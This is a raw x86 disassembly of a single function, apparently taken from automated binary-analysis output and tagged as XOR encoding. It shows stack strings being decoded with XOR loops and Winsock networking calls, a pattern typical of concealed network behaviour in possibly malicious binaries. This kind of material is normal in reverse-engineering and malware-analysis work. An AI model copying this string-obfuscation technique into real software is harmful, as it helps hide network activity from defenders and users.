Function at 0x4161b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44e372
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x538
mov eax, dword [0x463040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x544], ecx
mov dword [ebp - 0x520], 0
cmp byte [0x45ca0b], 0
movups xmm0, xmmword [str.QFZAD_K]
mov eax, dword [0x45ca08]
mov dword [ebp - 0x288], eax
mov eax, dword [0x467920]
movups xmmword [ebp - 0x298], xmm0
je 0x4163b7
xor edx, edx
mov dword [ebp - 0x21c], edx
cmp eax, 2
jl 0x416380
movaps xmm0, xmmword [0x45ca90]
movaps xmm4, xmmword [0x45ca20]
movaps xmm3, xmmword [0x45caa0]
movaps xmm5, xmmword [0x45ca50]
movaps xmmword [ebp - 0x530], xmm0
mov ecx, dword [ebp - 0x530]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x45ca70]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x298]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x298], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x45ca70]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x294]
xorps xmm1, xmm0
movd dword [ebp + edx - 0x294], xmm1
add edx, 8
cmp edx, 0x10
jl 0x416272
mov dword [ebp - 0x21c], edx
cmp edx, 0x14
jge 0x4163b7
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x21c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x298], cl
inc edx
mov dword [ebp - 0x21c], edx
cmp edx, 0x14
jl 0x416380
xorps xmm0, xmm0
mov dword [ebp - 0x2b8], 0
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x2b4], 0
movups xmmword [ebp - 0x2c8], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4163e0
sub ecx, edx
lea eax, [ebp - 0x298]
push ecx
push eax
lea ecx, [ebp - 0x2c8]
call fcn.00404a20
mov dword [ebp - 4], 1
mov eax, dword [0x45c864]
mov dword [ebp - 0x224], eax
mov ax, word [0x45c868]
mov word [ebp - 0x220], ax
test ah, ah
je 0x41646c
xor edx, edx
mov dword [ebp - 0x21c], edx
nop word [eax + eax]
mov eax, 0x2f684bdb
mul edx
mov eax, dword [ebp - 0x21c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x21c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x36
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x224], cl
inc edx
mov dword [ebp - 0x21c], edx
cmp edx, 6
jl 0x416430
xorps xmm0, xmm0
mov dword [ebp - 0x300], 0
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x2fc], 0
movups xmmword [ebp - 0x310], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416493
sub ecx, edx
lea eax, [ebp - 0x224]
push ecx
push eax
lea ecx, [ebp - 0x310]
call fcn.00404a20
mov byte [ebp - 4], 2
xor edx, edx
mov eax, dword [str.__AF7]
mov dword [ebp - 0x224], eax
mov al, byte [0x45c8f4]
mov byte [ebp - 0x220], al
mov dword [ebp - 0x21c], edx
mov eax, 0x2f684bdb
mul edx
mov eax, dword [ebp - 0x21c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x21c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x36
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x224], cl
inc edx
mov dword [ebp - 0x21c], edx
cmp edx, 5
jl 0x4164d1
xorps xmm0, xmm0
mov dword [ebp - 0x2e8], 0
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x2e4], 0
movups xmmword [ebp - 0x2f8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416534
sub ecx, edx
lea eax, [ebp - 0x224]
push ecx
push eax
lea ecx, [ebp - 0x2f8]
call fcn.00404a20
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x284]
xorps xmm0, xmm0
mov dword [ebp - 0x27c], 0
movq qword [ebp - 0x284], xmm0
call fcn.0040e9e0
mov byte [ebp - 4], 4
lea edx, [ebp - 0x2c8]
cmp dword [ebp - 0x2b4], 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0x23c], xmm0
cmova edx, dword [ebp - 0x2c8]
mov ecx, edx
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4165b0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x23c]
call fcn.00404a20
xorps xmm0, xmm0
mov byte [ebp - 4], 5
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x460]
movups xmmword [ebp - 0x480], xmm0
movups xmmword [ebp - 0x470], xmm0
call fcn.00403ef0
lea eax, [ebp - 0x2f8]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x448]
call fcn.00403ef0
movaps xmm0, xmmword [0x45ca30]
movups xmmword [ebp - 0x480], xmm0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x228]
cmp ecx, 0xf
jbe 0x416677
mov edx, dword [ebp - 0x23c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41666d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
xorps xmm0, xmm0
lea eax, [ebp - 0x284]
push ecx
push eax
lea ecx, [ebp - 0x430]
movq qword [ebp - 0x410], xmm0
movups xmmword [ebp - 0x430], xmm0
movups xmmword [ebp - 0x420], xmm0
call fcn.0041ad00
lea eax, [ebp - 0x224]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x480]
mov dword [ebp - 0x224], 0
push eax
push ecx
lea eax, [ebp - 0x290]
mov dword [ebp - 0x220], 0x463bbc
xorps xmm0, xmm0
mov dword [ebp - 0x288], 0
push eax
movq qword [ebp - 0x290], xmm0
call fcn.004194f0
mov eax, 2
mov dword [ebp - 0x51c], eax
mov dword [ebp - 0x520], eax
xorps xmm0, xmm0
mov dword [ebp - 0x29c], 0xf
xor ecx, ecx
movups xmmword [ebp - 0x2b0], xmm0
mov dword [ebp - 0x2a0], ecx
mov byte [ebp - 0x2b0], cl
mov byte [ebp - 4], 0xb
or esi, 0xffffffff
mov edi, dword [ebp - 0x28c]
cmp dword [ebp - 0x224], ecx
jne 0x41696e
test edi, edi
je 0x41673f
lock inc dword [edi + 4]
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x52c], eax
mov dword [ebp - 0x528], edi
mov dword [ebp - 0x524], 0
mov eax, dword [eax]
movups xmm1, xmmword [eax]
mov edx, dword [eax + 0x18]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x240], xmm1
movq qword [ebp - 0x230], xmm0
movd eax, xmm1
cmp ax, 2
jne 0x4167a9
push dword [ebp - 0x23c]
call dword [sym.imp.WS2_32.dll_ntohl]
push eax
call dword [sym.imp.WS2_32.dll_htonl]
xor ecx, ecx
mov dword [ebp - 0x274], eax
xorps xmm0, xmm0
mov dword [ebp - 0x260], ecx
xor edx, edx
jmp 0x4167c5
movups xmm0, xmmword [ebp - 0x238]
mov ecx, 1
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x260], edx
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x224]
mov dword [ebp - 0x278], ecx
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0x463bbc
movups xmmword [ebp - 0x270], xmm0
push eax
cmp ecx, 1
jne 0x416872
push edx
push ecx
lea eax, [ebp - 0x118]
mov ecx, 0x17
push eax
lea edx, [ebp - 0x270]
call fcn.0040f4e0
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x416828
cmp dword [ebp - 0x224], eax
jne 0x417c96
mov ecx, edx
mov dword [ebp - 0x22c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x228], 0
movups xmmword [ebp - 0x23c], xmm0
lea eax, [ecx + 1]
mov dword [ebp - 0x514], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416851
sub ecx, dword [ebp - 0x514]
push ecx
push edx
lea ecx, [ebp - 0x23c]
call fcn.00404a20
mov eax, 0x602
jmp 0x4168ef
push 0
push ecx
lea eax, [ebp - 0x218]
mov ecx, 2
push eax
lea edx, [ebp - 0x274]
call fcn.0040f4e0
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x4168a1
cmp dword [ebp - 0x224], eax
jne 0x417ca1
mov ecx, edx
mov dword [ebp - 0x22c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x228], 0
movups xmmword [ebp - 0x23c], xmm0
lea eax, [ecx + 1]
mov dword [ebp - 0x514], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4168d0
sub ecx, dword [ebp - 0x514]
push ecx
push edx
lea ecx, [ebp - 0x23c]
call fcn.00404a20
mov eax, 0xa02
mov dword [ebp - 0x520], eax
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x51c], eax
lea eax, [ebp - 0x23c]
push eax
call fcn.0040b8f0
mov ecx, dword [ebp - 0x228]
cmp ecx, 0xf
jbe 0x416947
mov edx, dword [ebp - 0x23c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41693d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov byte [ebp - 4], 0xb
test edi, edi
je 0x41696e
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x41696e
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
mov eax, esi
lock xadd dword [edi + 8], eax
jne 0x41696e
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
movups xmm0, xmmword [str.cfb]
mov eax, dword [0x45c7cc]
mov dword [ebp - 0x260], eax
mov ax, word [0x45c7d0]
mov word [ebp - 0x25c], ax
movups xmmword [ebp - 0x278], xmm0
movq xmm0, qword [0x45c7c4]
movq qword [ebp - 0x268], xmm0
test ah, ah
je 0x416b37
xor edx, edx
cmp dword [0x467920], 2
mov dword [ebp - 0x21c], edx
jl 0x416b00
movaps xmm0, xmmword [0x45ca90]
movaps xmm4, xmmword [0x45ca20]
movaps xmm3, xmmword [0x45caa0]
movaps xmm5, xmmword [0x45ca50]
movaps xmmword [ebp - 0x530], xmm0
mov ecx, dword [ebp - 0x530]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x45ca70]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x278]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x278], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x45ca70]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
xorps xmm1, xmm0
movd dword [ebp + edx - 0x274], xmm1
add edx, 8
cmp edx, 0x18
jl 0x4169f0
mov dword [ebp - 0x21c], edx
cmp edx, 0x1e
jge 0x416b37
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x21c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x278], cl
inc edx
mov dword [ebp - 0x21c], edx
cmp edx, 0x1e
jl 0x416b00
xorps xmm0, xmm0
mov dword [ebp - 0x248], 0
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x244], 0
movups xmmword [ebp - 0x258], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416b60
sub ecx, edx
lea eax, [ebp - 0x278]
push ecx
push eax
lea ecx, [ebp - 0x258]
call fcn.00404a20
mov byte [ebp - 4], 0xe
lea edx, [ebp - 0x2b0]
cmp dword [ebp - 0x29c], 0xf
mov esi, dword [ebp - 0x248]
cmova edx, dword [ebp - 0x2b0]
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0x2a0]
sub eax, esi
mov dword [ebp - 0x514], esi
push ecx
push edx
cmp ecx, eax
ja 0x416bf6
cmp dword [ebp - 0x244], 0xf
lea eax, [esi + ecx]
mov dword [ebp - 0x248], eax
lea esi, [ebp - 0x258]
cmova esi, dword [ebp - 0x258]
mov eax, dword [ebp - 0x514]
add eax, esi
push eax
call fcn.004376f0
mov eax, dword [ebp - 0x514]
add esp, 0xc
mov ecx, dword [ebp - 0x2a0]
add eax, esi
mov byte [eax + ecx], 0
jmp 0x416c0f
mov byte [ebp - 0x514], 0
push dword [ebp - 0x514]
push ecx
lea ecx, [ebp - 0x258]
call fcn.00404b10
mov eax, dword [str.__8_7]
xor edx, edx
mov dword [ebp - 0x224], eax
mov al, byte [0x45c3e0]
mov byte [ebp - 0x220], al
mov dword [ebp - 0x21c], edx
nop dword [eax]
mov eax, 0x2f684bdb
mul edx
mov eax, dword [ebp - 0x21c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x21c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x36
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x224], cl
inc edx
mov dword [ebp - 0x21c], edx
cmp edx, 5
jl 0x416c30
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x258]
call fcn.00403d70
push 0x8c
lea eax, [ebp - 0x510]
push 0
push eax
call fcn.00437590
add esp, 0xc
lea edx, [ebp - 0x258]
lea ecx, [ebp - 0x510]
call fcn.0041adb0
push 0x48
lea eax, [ebp - 0x358]
mov byte [ebp - 4], 0xf
push 0
push eax
call fcn.00437590
add esp, 0xc
lea eax, [ebp - 0x510]
lea edx, [ebp - 0x2c8]
push 0
push 0x3a98
push ecx
push eax
lea eax, [ebp - 0x310]
push eax
lea ecx, [ebp - 0x358]
call fcn.0041e3c0
mov esi, dword [ebp - 0x51c]
add esp, 0x14
or esi, 0xc
push 0xb0
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00437590
add esp, 0xc
mov dword [ebp - 0x408], 0x45c85c
lea ecx, [ebp - 0x3a0]
mov dword [ebp - 0x3f8], 0x45c450
call fcn.0040bd70
sub esp, 8
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x3f0]
or esi, 0x10
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x520], esi
push eax
call fcn.0040bc10
mov eax, dword [ebp - 0x3f8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x3fc], eax
mov eax, dword [ebp - 0x408]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_iostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x408]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [ebp + ecx - 0x40c], eax
mov dword [ebp - 4], 0x15
mov eax, dword [ebp - 0x408]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x408]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x40c], eax
lea ecx, [ebp - 0x3f0]
call fcn.0040be10
mov dword [ebp - method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x3b4], 0
mov byte [ebp - 4], 0x16
lea edx, [ebp - 0x328]
cmp dword [ebp - 0x314], 0xf
lea ecx, [ebp - 0x3f8]
push dword [ebp - 0x318]
cmova edx, dword [ebp - 0x328]
call fcn.0041ca40
add esp, 4
mov byte [ebp - 4], 0x17
xorps xmm0, xmm0
mov edx, dword [ebp - 0x3b4]
or esi, 0x100
mov eax, edx
mov dword [ebp - 0x22c], 0
and al, 0x22
mov dword [ebp - 0x228], 0xf
mov dword [ebp - 0x520], esi
movq qword [ebp - 0x52c], xmm0
mov dword [ebp - 0x524], 0
movups xmmword [ebp - 0x23c], xmm0
mov byte [ebp - 0x23c], 0
cmp al, 2
je 0x416e91
mov eax, dword [ebp - 0x3d0]
mov ecx, dword [eax]
test ecx, ecx
je 0x416e91
mov eax, dword [ebp - 0x3e0]
cmp ecx, dword [ebp - 0x3b8]
cmovb ecx, dword [ebp - 0x3b8]
mov edx, dword [eax]
sub ecx, edx
jmp 0x416ece
test dl, 4
jne 0x416ec2
mov eax, dword [ebp - 0x3d4]
mov eax, dword [eax]
mov dword [ebp - 0x514], eax
test eax, eax
je 0x416ec2
mov eax, dword [ebp - 0x3e4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x514]
sub ecx, edx
jmp 0x416ece
mov ecx, dword [ebp - 0x528]
mov edx, dword [ebp - 0x52c]
test edx, edx
je 0x416edf
push ecx
push edx
lea ecx, [ebp - 0x23c]
call fcn.0041a200
and esi, 0xfffffeff
mov dword [ebp - 4], 0x16
or esi, 0x80
mov dword [ebp - 0x51c], esi
mov dword [ebp - 0x520], esi
mov byte [ebp - 4], 0x18
xorps xmm0, xmm0
cmp dword [ebp - 0x22c], 0
jne 0x4171ef
mov eax, dword [ebp - 0x534]
mov ecx, eax
push 0
push 0x459e40
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
call fcn.00404a20
or esi, 1
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x228]
mov dword [ebp - 0x520], esi
cmp ecx, 0xf
jbe 0x416f7e
mov edx, dword [ebp - 0x23c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416f74
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
lea ecx, [ebp - 0x408]
call fcn.00417d70
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x314]
cmp ecx, 0xf
jbe 0x416fc7
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416fbd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
lea ecx, [ebp - 0x358]
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
call fcn.0041a680
lea ecx, [ebp - 0x510]
call fcn.00418290
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x417036
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41702c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
cmp eax, 0xf
jbe 0x41709d
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x2b0]
mov edx, eax
cmp ecx, 0x1000
jb 0x417093
mov eax, dword [edx - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x51c], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x417c91
mov eax, dword [ebp - 0x51c]
push ecx
push eax
call fcn.0043439f
add esp, 8
test edi, edi
je 0x4170c3
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x4170c3
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
mov eax, esi
lock xadd dword [edi + 8], eax
jne 0x4170c3
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
lea ecx, [ebp - 0x430]
call fcn.00419430
lea ecx, [ebp - 0x480]
call fcn.00417cb0
mov byte [ebp - 4], 0x19
mov eax, dword [ebp - 0x284]
mov esi, dword [eax + 0x1c]
test esi, esi
je 0x4170fe
nop word [eax + eax]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x4170f0
or eax, 0xffffffff
lock xadd dword [0x468600], eax
dec eax
jne 0x417112
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x284]
call fcn.0040d260
mov ecx, dword [ebp - 0x2e4]
cmp ecx, 0xf
jbe 0x417157
mov edx, dword [ebp - 0x2f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41714d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov ecx, dword [ebp - 0x2fc]
cmp ecx, 0xf
jbe 0x417191
mov edx, dword [ebp - 0x310]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417187
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0xf
jbe 0x4171cb
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4171c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov eax, dword [ebp - 0x534]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0043435c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
movups xmmword [ebp - 0x2e0], xmm0
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2cc], 0xf
mov byte [ebp - 0x2e0], 0
sub esp, 0x18
mov byte [ebp - 4], 0x1a
mov ecx, esp
mov dword [ebp - 0x220], esp
push 0x468564
call fcn.00403ef0
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x23c]
mov ecx, esp
push eax
call fcn.00403ef0
push 0xffffffffffffffa9
push 0x46857c
mov edx, 0x4685c4
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x2e0]
call fcn.0040a120
mov ecx, dword [ebp - 0x2d0]
add esp, 0x38
test ecx, ecx
jne 0x417493
mov eax, dword [ebp - 0x534]
xorps xmm0, xmm0
push ecx
push 0x459e40
movups xmmword [eax], xmm0
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov ecx, eax
call fcn.00404a20
or esi, 1
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x2cc]
mov dword [ebp - 0x520], esi
cmp ecx, 0xf
jbe 0x4172d1
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4172c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x228]
cmp ecx, 0xf
jbe 0x41730f
mov edx, dword [ebp - 0x23c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417305
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
lea ecx, [ebp - 0x408]
call fcn.00417d70
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x314]
cmp ecx, 0xf
jbe 0x417358
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41734e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
lea ecx, [ebp - 0x358]
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
call fcn.0041a680
lea ecx, [ebp - 0x510]
call fcn.00418290
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x4173c7
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4173bd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
cmp eax, 0xf
jbe 0x41742e
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x2b0]
mov edx, eax
cmp ecx, 0x1000
jb 0x417424
mov eax, dword [edx - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x51c], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x417c91
mov eax, dword [ebp - 0x51c]
push ecx
push eax
call fcn.0043439f
add esp, 8
test edi, edi
je 0x417454
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x417454
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
mov eax, esi
lock xadd dword [edi + 8], eax
jne 0x417454
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
lea ecx, [ebp - 0x430]
call fcn.00419430
lea ecx, [ebp - 0x480]
call fcn.00417cb0
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0x284]
mov esi, dword [eax + 0x1c]
test esi, esi
je 0x4170fe
nop
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x417480
jmp 0x4170fe
